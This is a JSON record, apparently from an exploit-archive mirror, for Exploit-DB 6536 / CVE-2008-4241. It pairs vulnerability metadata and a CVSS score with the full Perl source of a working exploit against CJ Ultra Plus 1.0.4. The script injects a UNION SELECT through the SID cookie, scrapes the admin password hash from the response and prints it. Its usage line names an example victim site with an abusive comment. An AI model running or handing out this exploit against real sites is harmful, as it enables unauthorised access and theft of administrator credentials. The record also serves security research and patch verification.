{"exploit":{"id":"EDB-6536","name":"CJ Ultra Plus 1.0.4 - Cookie SQL Injection (SQLi)","description":"CJ Ultra Plus 1.0.4 - Cookie SQL Injection (SQLi)","cves":["CVE-2008-4241"],"author":"-SmoG-","published":"2008-09-22","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/6536","path":"exploits/php/webapps/6536.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-6536.pl","vulnerabilities":[{"id":"CVE-2008-4241","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in CJ Ultra Plus 1.0.4 and earlier allows remote attackers to execute arbitrary SQL commands via an SID cookie.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-4241","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-4241"},"updatedAt":"2024-08-07T10:08:34.983Z","retrievedAt":"2026-11-26T20:07:04.435Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-6536.png?v=2","url":"https://exploitbin.com/exploits/EDB-6536","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-6536/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-6536/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n#\n#\tCJ Ultra Plus <= v1.0.4 Cookie SQL Injection\n#\n#\tfound and coded by -SmoG-  /\\GermAn hAckZ0r\n#\tcontact: ICQ - 266836394\n#\n#\n#\n#\n#\thints:\t- sometimes the parameter \"SID\" is different to the normal one...\n#\t\t\t- i extract the hash from the html-code... but i was 2 lazy for coding a good working filter\n#\t\t\t- salted DES (normaly \"aa\" will be the salt, but it can be different)\n#\t\t\t- ive spend about 1 hour for this source... its my first exploit in perl... so plz be friendly with ur feedback...\n#\n#\n#\t\t\t>>> GretzZz 2: pronoobz.org - Wesker, China Sun and all other memberZz <<<\n\nuse LWP::UserAgent;\n\nif ($#ARGV+1 !=1) {\nprint \"\\n### CJ Ultra Plus <= v1.0.4 Cookie SQL Injection Exploit###\\n\";\nprint \"found and coded by -SmoG-\\n\";\nprint \"\\n\\nUsage: perl xploit.pl -victim\\n\";\nprint \"       perl xploit.pl http://gayxboy.com/\\n\\n\";\t\t\t\t#LiVe-Dem0! letZz pwnz the pedophile!!\nexit();\n}\nprint \"\\n### CJ Ultra Plus <= v1.0.4 Cookie SQL Injection Exploit###\\n\";\nprint \"\\nstarting exploit...\";\n$target=$ARGV[0];\nchomp($target);\nif($target !~ /^http:\\/\\//)\n{\n\t$target = \"http://\".$target;\n}\nif($target !~ /\\/$/)\n{\n\t$target .= \"/\";\n}\n@header = ('Cookie' => \"SID='UNION SELECT b12 from settings/*\");\n$ua = LWP::UserAgent->new;\n$ua->timeout(10);\n$ua->env_proxy;\n$ua->agent(\"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\");\n$response = $ua->get($target, @header);\nif ($response->is_success)\n{\n$temp = $response->content;\nif ($temp =~/(.*)SID=(.*);/)\n\t{\n\t$result=substr($temp,85,13);\n\tprint \"\\n\\adminhash: \"; print $result;\n\t}\n}\nelse\n{\n die \"Error: \".$response->status_line;\n}\n\n# milw0rm.com [2008-09-22]","sha256":"2233aaaf26745e2cf5f8de6be2538475487181b0f56681c7d3cf559b2793efbb","bytes":1652,"fetchedAt":"2026-11-26T20:07:04.233Z","encoding":"utf-8 (display only; download retains original bytes)"}